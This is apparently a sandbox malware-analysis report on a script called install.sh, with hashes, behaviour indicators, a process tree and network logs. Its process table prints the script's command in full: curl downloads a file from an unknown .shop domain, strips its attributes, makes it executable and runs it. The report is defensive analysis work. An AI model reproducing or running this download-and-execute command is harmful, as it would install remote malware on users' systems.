| File name: | install.sh |
| Full analysis: | https://app.any.run/tasks/b6c0e91d-0b05-457c-86e7-3890e1c0a267 |
| Verdict: | Malicious activity |
| Analysis date: | April 29, 2025, 12:06:17 |
| OS: | Ubuntu 22.04.2 |
| MIME: | text/plain |
| File info: | ASCII text, with no line terminators |
| MD5: | E43E652D924301384BD03A8549ED1A19 |
| SHA1: | BF12EA84049E7E7A0E0BE8D5D020B64CF939F2C4 |
| SHA256: | 9B10DBDC7B58C61CC12A51CB65EA3AF83262FA058C05E273E8768E53A3356331 |
| SSDEEP: | 3:WFBIx8sv3uy9Fb+dNMfMXDJ7EcRVKhkKcQCWHWZ3QQmHgmQmk0QQHFxaFOd6HhC:/9vrbsMfMTJAHHoFNpZnoxa0 |
MALICIOUS
No malicious indicators.SUSPICIOUS
Modifies file or directory owner
- sudo (PID: 40662)
Executes commands using command-line interpreter
- sudo (PID: 40667)
Check the Environment Variables Related to System Identification (os-release)
- curl (PID: 40672)
Reads /proc/mounts (likely used to find writable filesystems)
- curl (PID: 40672)
Reads passwd file
- dumpe2fs (PID: 40693)
- dumpe2fs (PID: 40700)
- curl (PID: 40672)
INFO
Checks timezone
- dumpe2fs (PID: 40693)
- dumpe2fs (PID: 40700)
- curl (PID: 40672)
Creates file in the temporary folder
- curl (PID: 40672)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
239
Monitored processes
17
Malicious processes
0
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 40661 | /bin/sh -c "sudo chown user /tmp/install\.sh && chmod +x /tmp/install\.sh && DISPLAY=:0 sudo -iu user /tmp/install\.sh " | /usr/bin/dash | — | any-guest-agent |
User: root Integrity Level: UNKNOWN Exit code: 256 | ||||
| 40662 | sudo chown user /tmp/install.sh | /usr/bin/sudo | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 40663 | chown user /tmp/install.sh | /usr/bin/chown | — | sudo |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 40664 | systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service | /usr/bin/systemctl | — | snapd |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 40665 | systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service | /usr/bin/systemctl | — | snapd |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 40666 | chmod +x /tmp/install.sh | /usr/bin/chmod | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 40667 | sudo -iu user /tmp/install.sh | /usr/bin/sudo | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 256 | ||||
| 40669 | -bash --login -c \/tmp\/install\.sh | /usr/bin/bash | — | sudo |
User: user Integrity Level: UNKNOWN Exit code: 256 | ||||
| 40670 | /usr/bin/locale-check C.UTF-8 | /usr/bin/locale-check | — | bash |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
| 40671 | sh -c "cd \"\${TMPDIR:-/tmp}\" && curl -fsSL https://in\.earflapexact\.shop/ea7216958e955bc63033397a1bbdfd6f -o update && xattr -c update 2>/dev/null || true && chmod +x update && \./update" | /usr/bin/dash | — | bash |
User: user Integrity Level: UNKNOWN Exit code: 256 | ||||
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0
Dropped files
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
12
DNS requests
13
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 204 | 185.125.190.97:80 | http://connectivity-check.ubuntu.com/ | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
484 | avahi-daemon | 224.0.0.251:5353 | — | — | — | unknown |
— | — | 185.125.190.48:80 | connectivity-check.ubuntu.com | Canonical Group Limited | GB | whitelisted |
— | — | 185.125.190.97:80 | connectivity-check.ubuntu.com | Canonical Group Limited | GB | whitelisted |
— | — | 195.181.175.41:443 | odrs.gnome.org | Datacamp Limited | DE | whitelisted |
— | — | 185.125.188.58:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
— | — | 185.125.188.59:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
512 | snapd | 185.125.188.59:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
512 | snapd | 185.125.188.58:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
512 | snapd | 185.125.188.54:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
40672 | curl | 172.67.166.155:443 | in.earflapexact.shop | CLOUDFLARENET | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
odrs.gnome.org |
| whitelisted |
connectivity-check.ubuntu.com |
| whitelisted |
google.com |
| whitelisted |
api.snapcraft.io |
| whitelisted |
in.earflapexact.shop |
| unknown |
11.100.168.192.in-addr.arpa |
| unknown |